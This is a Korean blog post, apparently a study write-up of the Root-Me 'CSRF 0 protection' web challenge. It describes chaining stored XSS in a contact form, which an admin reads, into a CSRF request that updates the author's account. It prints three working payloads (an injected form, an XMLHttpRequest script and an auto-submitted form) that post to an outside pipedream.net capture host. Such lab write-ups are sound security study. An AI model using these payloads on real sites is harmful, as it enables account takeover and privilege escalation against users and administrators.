메모장 입니다2

RootMe.org - CSRF 0 protection 본문

Study/웹

RootMe.org - CSRF 0 protection

Wooum@n 2020. 2. 26. 10:22

문제

  • 로그인 페이지
    • 가입과 로그인이 있다
  • 로그인 후
    • contact, profile, private가 존재한다.
    • contact 페이지에서 메일주소와 내용을 입력하면 admin이 확인을 하며 XSS가 발생한다.
    • profile에서 username에 대해 update 가능한데(아마 권한상승) admin만 가능하다.
      • 내 계정을 update 시킨 후 private를 확인하면 될 것 같다.

풀이

  • contact페이지에서 XSS시켜서 admin으로 내 계정을 update 시키는 CSRF를 발생시키면 될것 같다.

  • 페이로드

    • 첫번째

      • innerHTML을 이용한 form data 삽입

        document.body.innerHTML += '<form id="dynForm" action="https://enc73fsxphmbf.x.pipedream.net/" method="post"><input type="hidden" name="q" value="a"></form>';
        document.getElementById("dynForm").submit();
        • 안된다.
        • 이유는 모르겠지만, 다른 페이지로 시도해본 결과 stored 된 후 접근을 할 때 코드실행이 안되는것 같다.
      • 두번째

        • 원인을 찾았다

        • 엔터를 삽입할 경우
          로 치환되서 들어가기 때문에 script구문 에러가 발생한다.

        • 띄어쓰기는 문제없으므로 라인피드만 제거해서 다시 삽입하겠다.

        • xmlHttpRequest 이용

          <script>url="https://enc73fsxphmbf.x.pipedream.net/";var data = new FormData();data.append('username', 'test123');if(window.XMLHttpRequest){xmlHttpReq = new XMLHttpRequest();}else{xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttpReq.open('POST', url, true); xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlHttpReq.setRequestHeader('X-CSRF-Token', 'abcdef'); xmlHttpReq.send(data);</script>
        • 안된다.. XMLHttpRequest가 안되는건가..

      • 세번째

        • 그냥 form태그를 바로 삽입 후 script로 submit 시키기
          <form id='woounnan' action="https://enc73fsxphmbf.x.pipedream.net/" method="post" enctype="multipart/form-data"><input type="text" name="username" value="guest"><input type="checkbox" name="status" checked"></form><script>document.getElementById('woounnan').submit();</script>
        • 잘됨

'Study > ' 카테고리의 다른 글

XSS gaming - level 1~6  (0) 2020.02.27
Rootme.org - csrf token bypass  (0) 2020.02.27
Rootme.org - XSS stored 1  (0) 2020.02.26
Webhakcking.kr - chall2  (0) 2020.02.25
블라인드 sql 인젝션 - 컬럼, 테이블 명 알아내기 및 기타 등등  (0) 2020.02.25